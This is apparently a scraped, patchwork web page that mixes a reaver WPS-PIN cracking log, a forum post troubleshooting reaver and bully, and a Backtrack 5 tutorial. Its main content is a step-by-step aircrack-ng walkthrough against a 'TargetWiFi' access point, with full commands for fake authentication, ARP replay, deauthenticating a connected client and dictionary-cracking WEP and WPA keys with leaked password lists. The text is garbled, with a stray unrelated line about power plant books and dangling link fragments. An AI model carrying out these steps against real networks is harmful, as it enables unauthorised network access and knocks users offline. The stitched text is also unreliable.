Code: + Switching wlan0mon to channel 11 + Waiting for beacon from XX:XX:XX:XX:XX:XX + Associated with XX:XX:XX:XX:XX:XX (ESSID: FASTWEB-1-XXXXXXXX) + Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 + Trying pin 12345670.

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Oct 04, 2011 Aircrack-ng is a package often seen in WiFi hacking. It includes a deauthentication command which causes WiFi clients to stop using an access point and attempt to reauthenticate themselves. [Elliot’s] attack involves sending repeated deauthenitcation packets which in essence never allows a client to pass any data. Wireless 'Deauth' Attack using Aireplay-ng. We can use the tool 'aireplay-ng' to inject deauthentication packets. By leveraging its packet. Notice the “Got a deauthentication packet” and the continuous retries above. Aircrack-ng 0.9. Simple_wep_crack.txt Last modified.

I have the exact same output as OP. I already tried downgrading libpcap0.8 and libpcap0.8-dev.

That didn't work for reaver or bully. I already tried reinstalling (trying and then doing the libpcap 'fix' after) with no success.

My system is totally up-to-date as are the packages. I've yet to see any solution which actually works for me. Already did all the additional options -t 10 (originally 1 and then incremented) -S -N -no-nacks -T.5 -L -d 60 -A (with an accompanying aireplay-ng to associate) -a -c 6 etc. In all different variations. The only difference was the error message. Variations of the switches led to either timeouts or variations between (0x02) (0x03) and (0x04).

And for that one guy, yes I did go in monitor mode, and my card does support injection mode (tested w/ aireplay-ng). There is a different issue here which has yet to be solved.

Is a suite of programs that allow for auditing of networks. Below I will go over using the Aircrack-ng suit in Backtrack 5 to capture and crack WEP and WPA. When cracking both WEP and WPA the steps are the same to a certain point. First we’ll set our wireless adapter up for injection operations. Airmon-ng stop wlan0 airmon-ng start wlan0 This has created the mon0 interface. Next lets see what APs are available to us. Airodump-ng wlan0 As you can see I had two APs available in the range of my wifi adapter.

Lets target the TargetWiFi AP and test to make sure injection is enabled for our adapter. Aireplay-ng -test -e TargetWiFi -a 00:1C:10:AF:FA:4D mon0 -ignore-negative-one –test is the flag that denotes we are testing injection -e specifies the ESSID of the AP -a specifies the BSSID of the AP mon0 is the monitor interface that was created when we started the monitor mode on wlan0 –ignore-negative-one is needed only if your adapter’s channel can not be determined The next step is to start the packet capture so we can capture IVs for WEP or the WPA Handshake for WPA/WPA2.

Thermal power plant operation books. Airodump-ng -c 11 -bssid 00:1C:10:AF:FA:4D -w TargetWiFi mon0 -c specifies the channel our target AP is on –bssid is the bssid of the target AP -w is the prefix for the capture file mon0 is the monitor interface that was created when we started the monitor mode on wlan0 WEP Open a separate terminal window. Let’s associate our adapter with the AP. Aireplay-ng -1 0 -e TargetWiFi -a 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0 -1 tells aireplay-ng to fake an authentication with the AP 0 is the time between reauthentication attempts in seconds -e specifies the ESSID of the AP -a specifies the BSSID of the AP -h is the MAC of mon0 mon0 is the monitor interface that was created when we started the monitor mode on wlan0 If you receive an “Association successful:-)” message then you have been associated to the AP. If you receive a “Got a deauthentication packet!” message you will need to slow your authentication tries down.

Aireplay-ng -1 900 -o 1 -q 10 -e TargetWiFi -a 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0 -1 tells aireplay-ng to fake an authentication with the AP 900 is the time between reauthentication attempts in seconds -o tells aireplay-ng to only send one set of authentication packets -q tells aireplay-ng to send keep alive packets every 10 seconds -e specifies the ESSID of the AP -a specifies the BSSID of the AP -h is the MAC of mon0 mon0 is the monitor interface that was created when we started the monitor mode on wlan0 Next, lets start generating IVs. Aireplay-ng -3 -b 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0 -3 tells aireplay-ng to replay ARP Requests -b specifies the BSSID of the AP -h is the MAC of mon0 mon0 is the monitor interface that was created when we started the monitor mode on wlan0 Once you get around 40,000 or so packets stop the capture. Now it’s time to crack the WEP key.

Aircrack-ng -b 00:1C:10:AF:FA:4D TargetWiFi.cap -b is the BSSID of the target AP TargetWiFi.cap are the capture files that we started on the other terminal Dependent on the machine you are running this should take no time to get the WEP key. WPA If you are unable to acquire the WPA handshake after starting the capture (a client machine has not authenticated since starting the capture) then we can use aireplay-ng to deauthenticate a wireless client that is connected to the AP in another terminal window. Aireplay-ng -0 1 -a 00:1C:10:AF:FA:4D -c 68:A3:C4:34:FC:6F mon0 -0 tells aireplay-ng to go into deauth attack mode 1 tells aireplay-ng to deauth only 1 station -a is the BSSID of the target AP -c is the clients MAC address mon0 is the monitor interface that was created when we started the monitor mode on wlan0 Now that you have received the WPA handshake, stop the capture.

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Now it is time to crack the WPA key. Aircrack-ng -w password.txt -b 00:1C:10:AF:FA:4D TargetWiFi.cap -w is the password list that will be used to crack the WPA key -b is the BSSID of the target AP TargetWiFi.cap are the capture files that we started on the other terminal The time it takes depends on the complexity of the key and the size of your password list. The rockyou.txt file I used contains hundreds of thousands of passwords. It came from and they have a large collection of you can download and use.

Most password lists are composed of compromised unencrypted passwords. This means that the passwords in the lists are actual passwords that are being used. If your password lists do not turn up any results for you, you can use Crunch and to run through possible keys/passwords in real time.

J0k3r has a nice on how to accomplish this on Amazon EC2 GPU instances. For more information on Aircrack-ng visit the and check out their.